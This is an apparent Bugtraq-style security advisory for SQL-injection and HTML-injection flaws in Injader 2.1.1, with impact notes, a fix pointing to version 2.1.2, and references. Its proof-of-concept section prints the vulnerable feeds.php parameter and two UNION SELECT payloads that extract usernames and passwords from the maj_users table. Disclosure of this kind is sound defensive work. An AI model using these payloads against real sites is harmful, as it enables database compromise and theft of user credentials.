Injader SQL Injection and HTML Injection Vulnerabilities
BID:32843
Info
Injader SQL Injection and HTML Injection Vulnerabilities
| Bugtraq ID: | 32843 |
| Class: | Input Validation Error |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | Dec 15 2008 12:00AM |
| Updated: | Dec 19 2008 04:51PM |
| Credit: | These issues were disclosed by the vendor. |
| Vulnerable: |
Injader Injader 2.1.1 |
| Not Vulnerable: |
Injader Injader 2.1.2 |
Discussion
Injader SQL Injection and HTML Injection Vulnerabilities
Injader is prone to multiple HTML-injection vulnerabilities and an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied input.
An attacker may leverage the HTML-injection issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials, control how the site is viewed, and launch other attacks.
The attacker may exploit the SQL-injection issue to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
Versions prior to Injader 2.1.2 are vulnerable.
Injader is prone to multiple HTML-injection vulnerabilities and an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied input.
An attacker may leverage the HTML-injection issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials, control how the site is viewed, and launch other attacks.
The attacker may exploit the SQL-injection issue to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
Versions prior to Injader 2.1.2 are vulnerable.
Exploit / POC
Injader SQL Injection and HTML Injection Vulnerabilities
An attacker can exploit these issues via a browser.
The following proofs of concept are available:
http://www.example.com/upload/feeds.php?name=articles&id=<SQL>
Username (urlencode):
2 UNION ALL SELECT NULL, NULL, NULL, NULL, CONCAT(CHAR(0),IFNULL(CAST(username AS CHAR(10000)), CHAR(32)),CHAR(0)), NULL, NULL, NULL FROM maj_users# AND 2511=2511
Pass:
2 UNION ALL SELECT NULL, NULL, NULL, NULL, CONCAT(CHAR(0),IFNULL(CAST(userpass AS CHAR(10000)), CHAR(32)),CHAR(0)), NULL, NULL, NULL FROM maj_users# AND 8758=8758
An attacker can exploit these issues via a browser.
The following proofs of concept are available:
http://www.example.com/upload/feeds.php?name=articles&id=<SQL>
Username (urlencode):
2 UNION ALL SELECT NULL, NULL, NULL, NULL, CONCAT(CHAR(0),IFNULL(CAST(username AS CHAR(10000)), CHAR(32)),CHAR(0)), NULL, NULL, NULL FROM maj_users# AND 2511=2511
Pass:
2 UNION ALL SELECT NULL, NULL, NULL, NULL, CONCAT(CHAR(0),IFNULL(CAST(userpass AS CHAR(10000)), CHAR(32)),CHAR(0)), NULL, NULL, NULL FROM maj_users# AND 8758=8758
Solution / Fix
Injader SQL Injection and HTML Injection Vulnerabilities
Solution:
The vendor has released an update to address these issues. Please see the references for more information.
Injader Injader 2.1.1
Solution:
The vendor has released an update to address these issues. Please see the references for more information.
Injader Injader 2.1.1
-
Injader Injader-2.1.2.zip
http://downloads.sourceforge.net/injader/Injader-2.1.2.zip?modtime=122 9172919&big_mirror=0
References
Injader SQL Injection and HTML Injection Vulnerabilities
References:
References:
- Injader Changelog (Injader)
- Injader Homepage (Injader)